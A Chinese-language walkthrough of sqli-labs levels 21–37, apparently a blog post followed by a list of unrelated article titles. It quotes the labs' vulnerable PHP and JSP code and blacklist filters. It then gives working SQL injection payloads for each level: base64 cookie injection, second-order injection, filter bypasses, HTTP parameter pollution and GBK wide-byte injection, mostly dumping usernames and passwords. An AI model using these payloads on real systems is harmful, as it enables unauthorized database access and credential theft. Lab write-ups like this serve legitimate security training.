sqli-labs之Page-2
第二十一关:base64编码的cooki注入
YOUR COOKIE : uname = YWRtaW4= and expires: Tue 10 Mar 2020 - 03:42:09
注:YWRtaW4=是admin经过base64编码。
在uname=后面进行注入,每次注入需要进行base64编码。
payload:
') union select 1,2,3#
JykgdW5pb24gc2VsZWN0IDEsMiwzIw==
第二十二关:同二十一关,闭合符号改为双引号即可
第二十三关:过滤了注释符的报错注入
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
因为注释符被过滤了,id='$id'后面的单引号就需要我们使用一个单引号去闭合。
两种payload:
?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),'3
?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),3 or '1' = '
第二十四关:二次排序注入
首先admin账号的密码为admin,然后注册一个用户名为admin'#,密码123456的账户,再进行登录admin'#账号,最后就可以重新修改admin'#账号的密码为123。会发现admin账号的密码被修改为123了。
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
账号名admin'#代入sql语句,就会将后面的语句给注释掉。
第二十五关:过滤了or和AND的注入
$id= blacklist($id);
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id); return $id;
}
payload:
?id=1' || updatexml(1,concat(0x23,database(),0x23),1)--+
?id=-1' union select 1,(select group_concat(username) from security.users),3--+
第二十五a关:25关的基础上没有单引号,且不能用报错注入而已。
payload:
?id=-1 union select 1,(select group_concat(username) from security.users),3--+
第二十六关
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/and/i',"", $id);
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[\s]/',"", $id);
$id= preg_replace('/[\/\\\\]/',"", $id);
return $id;
}
在25关的基础上,过滤的更多了。主要是空格的过滤。
%a0代表空格,但是在Windows无法识别%a0,需要在Linux系统下进行。当然,也可以尝试一些其他的符号。
payload:
?id=100'union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||'1
第二十六a关
闭合的符号变为')而已。
payload:
?id=100')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||('1
第二十七关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
return $id;
}
这里采取大小写绕过。
payload:
?id=100'unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),3||'1
第二十七a关
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
return $id;
}
单引号闭合变为双引号而已。
payload:
?id=100"unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),"3
第二十八关
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);
//$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union\s+select/i',"", $id);
return $id;
}
payload:
?id=100')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||('1
第二十八a关
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);
//$id= preg_replace('/[--]/',"", $id);
//$id= preg_replace('/[#]/',"", $id);
//$id= preg_replace('/[ +]/',"", $id);
//$id= preg_replace('/select/m',"", $id);
//$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union\s+select/i',"", $id);
return $id;
}
payload(绕过union和select的过滤即可):
?id=100%27)unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),3||(%271
第二十九关
两层服务器架构,攻击手段是HPP(http参数污染)。
第一层是tomcat,第二层是apache,返回数据的服务器是apache。
index.jsp
String rex = "^\\d+$";
Boolean match=id.matches(rex);
if(match == true)
{
URL sqli_labs = new URL("http://localhost/sqli-labs/Less-29/index.php?"+ qs);
index.php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
payload:
?id=1&id=-2'union select 1,(select group_concat(username,0x3a,password) from security.users),3--+
第三十关:29关的基础上,把单引号变双引号
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
payload:
?id=1&id=-2"union select 1,(select group_concat(username,0x3a,password) from security.users),3--+
第三十一关:30关的基础上,多一个括号
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";
payload:
?id=1&id=-2")union select 1,(select group_concat(username,0x3a,password) from security.users),3--+
第三十二关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string;
}
gbk编码,当然首先就想到了宽字节注入。
payload:
?id=-1%df%27union%20select%201,(select%20group_concat(username,0x3a,password)%20from%20security.users),3--+
第三十三关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
payload同32关一样。
注:使用addslashes()函数,我们需要将mysql_query设置为binary的方式,才能防御此漏洞。
Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
第三十四关
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
payload:
uname=-1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit
第三十五关
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
payload(不知道这一关要干啥):
?id=-1 union select 1,user(),database()--+
第三十六关
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
payload:
?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
?id=-1%df%27union%20select%201,user(),3--+
注:在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可。设置的代码为:Mysql_set_charset('gbk','$conn')
第三十七关:同34关
sqli-labs之Page-2的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- 尾递归和JAVA
简单来说,递归即是调用自己本身.所有递归都应该有至少一个基本条件,在满足基本条件时不进行递归. 给出一个递归实例: int fact(int N){ if(N==1) return 1; else r ...
- Springboot:配置文件位置以及多环境配置(六)
配置文件位置 Springboot配置文件可以加载以下四个位置: file:./config/ #第一加载位置 file:./ #第二加载位置 classpath:/config/ #第三加载位置 c ...
- SpringBoot word 转换为 pdf
转换文件 swagger 地址, 基于 SpringBoot 开发 http://119.27.167.41:8888/convertor/swagger-ui.html 带有图片的word 转换体验 ...
- 免费 https 申请步骤,你必须知道
不适用 https 加密的网站,基本上就等于在裸奔. 来,开始开始动手做 我的系统是 CentOS6 第一步:安装Certbot Certbot可以用于管理(申请.更新.配置.撤销和删除等)Let's ...
- mysql闪回工具--binlog2sql实践
DBA或开发人员,有时会误删或者误更新数据,如果是线上环境并且影响较大,就需要能快速回滚.传统恢复方法是利用备份重搭实例,再应用去除错误sql后的binlog来恢复数据.此法费时费力,甚至需要停机维护 ...
- 从GC的SuppressFinalize方法带你深刻认识Finalize底层运行机制
如果你经常看开源项目的源码,你会发现很多Dispose方法中都有这么一句代码: GC.SuppressFinalize(this); ,看过一两次可能无所谓,看多了就来了兴趣,这篇就跟大家聊一聊. 一 ...
- java内存模型(JMM)和happens-before
目录 重排序 Happens-Before 安全发布 初始化安全性 java内存模型(JMM)和happens-before 我们知道java程序是运行在JVM中的,而JVM就是构建在内存上的虚拟机, ...
- Maven+Jmeter+Jenkins的持续集成的新尝试
前言: 这又是一篇迟到很久的文章,四月身体欠佳,根本不在状态. 好了,回到正题,相信大家也在很多博客,看过很多类似乎的文章,那么大家来看看我是如何实现的? 准备工作: 创建一个maven工程 创建一个 ...
- Linux系统应用管理:增加普通用户(密码管理等)
1. 查看当前Linux系统的版本.内核等信息 [root@oldboy ~]# cat /etc/redhat-release CentOS release 6.7 (Final) . # 系统版本 ...
- 前端跨域解决方案: JSONP的通俗解说和实践
对于前端开发者而言,跨域是一个绕不开的话题.只有真正明白了各种方案的工作机制,才能针对性地进行跨域方案选型.本文将以探索者的视角,试图用最通俗的语言对一种"鼎鼎大名"的跨域解决方 ...